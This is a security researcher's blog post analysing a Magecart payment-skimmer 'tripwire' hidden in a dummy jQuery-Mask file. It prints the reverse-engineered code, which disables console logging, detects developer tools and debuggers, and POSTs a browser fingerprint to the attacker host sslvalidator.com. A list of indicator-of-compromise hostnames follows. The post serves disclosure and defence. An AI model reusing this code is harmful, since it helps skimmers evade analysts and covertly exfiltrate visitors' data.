MageCart: now with tripwire


tripwire

Back in 2016, Magecart skimmers would evade detection by sleeping if any developer tools were found running. Then, their malware would 404 without correct Referer or User-Agent header. And now, Magecart sounds the alarm when it finds you snooping around, and collects a fingerprint of you on an external server.

Observations:

Ramifications: the Magecart authors now likely have a list of IPs of interested parties, and may use those in future evasion techniques.

The obfuscated tripwire is attached to a (dummy) copy of jQuery-Mask that is served on non-checkout pages. Here’s a reverse engineered copy:

// Disable script logging
var noop = function () { };
console.log = noop;
console.warn = noop;
console.debug = noop;
console.info = noop;
console.error = noop;
console.exception = noop;
console.trace = noop;
'use strict';
var devToolStatus = {
    'open': false,
    'orientation': null
};
var minBorderPx = 160;
var changeDevTools = function (a, b) {
    window.dispatchEvent(new CustomEvent('devtoolschange', {
        'detail': {
            'open': a,
            'orientation': b
        }
    }));
};
setInterval(function () {
    // Check every 0.5sec whether devtools are open
    var fatWidth = window.outerWidth - window.innerWidth > minBorderPx;
    var fatHeight = window.outerHeight - window.innerHeight > minBorderPx;
    var detectedOrientation = fatWidth ? 'vertical' : 'horizontal';
    if (!(fatHeight && fatWidth) && (window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized || fatWidth || fatHeight)) {
        // Devtools are open
        if (!devToolStatus.open || devToolStatus.orientation !== detectedOrientation) {
            changeDevTools(true, detectedOrientation);
        }
        devToolStatus.open = true;
        devToolStatus.orientation = detectedOrientation;
    } else {
        if (devToolStatus.open) {
            changeDevTools(false, null);
        }
        devToolStatus.open = false;
        devToolStatus.orientation = null;
    }
}, 500);

// Running in nodejs? Then export
if (typeof module !== 'undefined' && module.exports) {
    module.exports = devToolStatus;
} else {
    window.devtools = devToolStatus;
}
var detectedUA = new MobileDetect(window.navigator.userAgent);
var isMobile = false;
if (detectedUA.mobile()) {
    isMobile = true;
}
var debuggerIsRunning = false;
if (window.navigator.userAgent.indexOf('Mac OS X') > 0) {
    var before = new Date().getTime();
    debugger;
    var afterBreakpoint = new Date().getTime();
    if (afterBreakpoint - before > 100) {
        debuggerIsRunning = true;
    }
}
window.addEventListener('devtoolschange', function (g) {
    if (g.detail.open && !isMobile && debuggerIsRunning) {
        var scheme = window.location.protocol != 'https:' ? 'http://' : 'https://';
        var host = 'sslvalidator.com';
        var url = scheme + host + '/tools.php';
        var xhr = new XMLHttpRequest();
        var e = 'timezone=' + Intl.DateTimeFormat().resolvedOptions().timeZone
            + '&&systemTime=' + new Date().toLocaleString() + '&&'
            + 'appVersion=' + window.navigator.appVersion
            + '&&useragent=' + navigator.userAgent + '&&'
            + 'availHeight=' + window.screen.availHeight + '&&'
            + 'innerWidth=' + window.innerWidth + '&&'
            + 'innerHeight=' + window.innerHeight + '&&'
            + 'availWidth=' + window.screen.availWidth + '&&'
            + 'jWidth=' + (window.jQuery !== undefined ? jQuery(window).width() : 0x0) + '&&'
            + 'jHeight=' + (window.jQuery !== undefined ? jQuery(window).height() : 0x0) + '&&'
            + 'referer=' + document.referrer + '&&'
            + 'request=' + document.location.pathname + '&&'
            + 'host=' + document.location.host;
        var f = 'params=' + btoa(e);
        xhr.open('POST', url, true);
        xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
        xhr.withCredentials = true;
        xhr.send(f);
    }
});

The fingerprint receivers are hosted on 5.188.87.23 and 5.188.87.24, a dodgy network spanning NL/IE/RU/UA. According to VirusTotal, the following hostnames resolve there, which have been added to the Magento Malware Scanner list of IOCs.

cdn.magecreativetech.com
cdn.onefromeu.com
cdn.pollocart.com
cdn.rellicform.com
cdn.scriptsenvoir.com
js.magecreativetech.com
js.onefromeu.com
js.pollocart.com
js.rellicform.com
js.scriptsenvoir.com
secure.rellicform.com
www.magecreativetech.com
www.onefromeu.com
www.pollocart.com
www.rellicform.com
www.scriptsenvoir.com
cdn.typejsx.com
cdnpayment.com
directvapar.com
directvapro.com
directvaprr.com
onlineshopsecurity.com
secure.onlineshopsecurity.com
secure.sslbrainform.com
secure.sslvalidator.com
sslbrainform.com
sslvalidator.com
typejsx.com
www.cdnpayment.com
www.cdnppay.com
www.directvapar.com
www.directvapro.com
www.onlineshopsecurity.com
www.secure.sslbrainform.com
www.secure.sslvalidator.com
www.sslbrainform.com
www.sslvalidator.com
www.typejsx.com

(image credits for this post)

Yours truly: security consultant & researcher, tracking payment skimmers since 2015. I am also the founder of the opensource malware scanner and Magereport. If you could use an extra pair of eyes in your team to resolve a complicated security issue, do get in touch.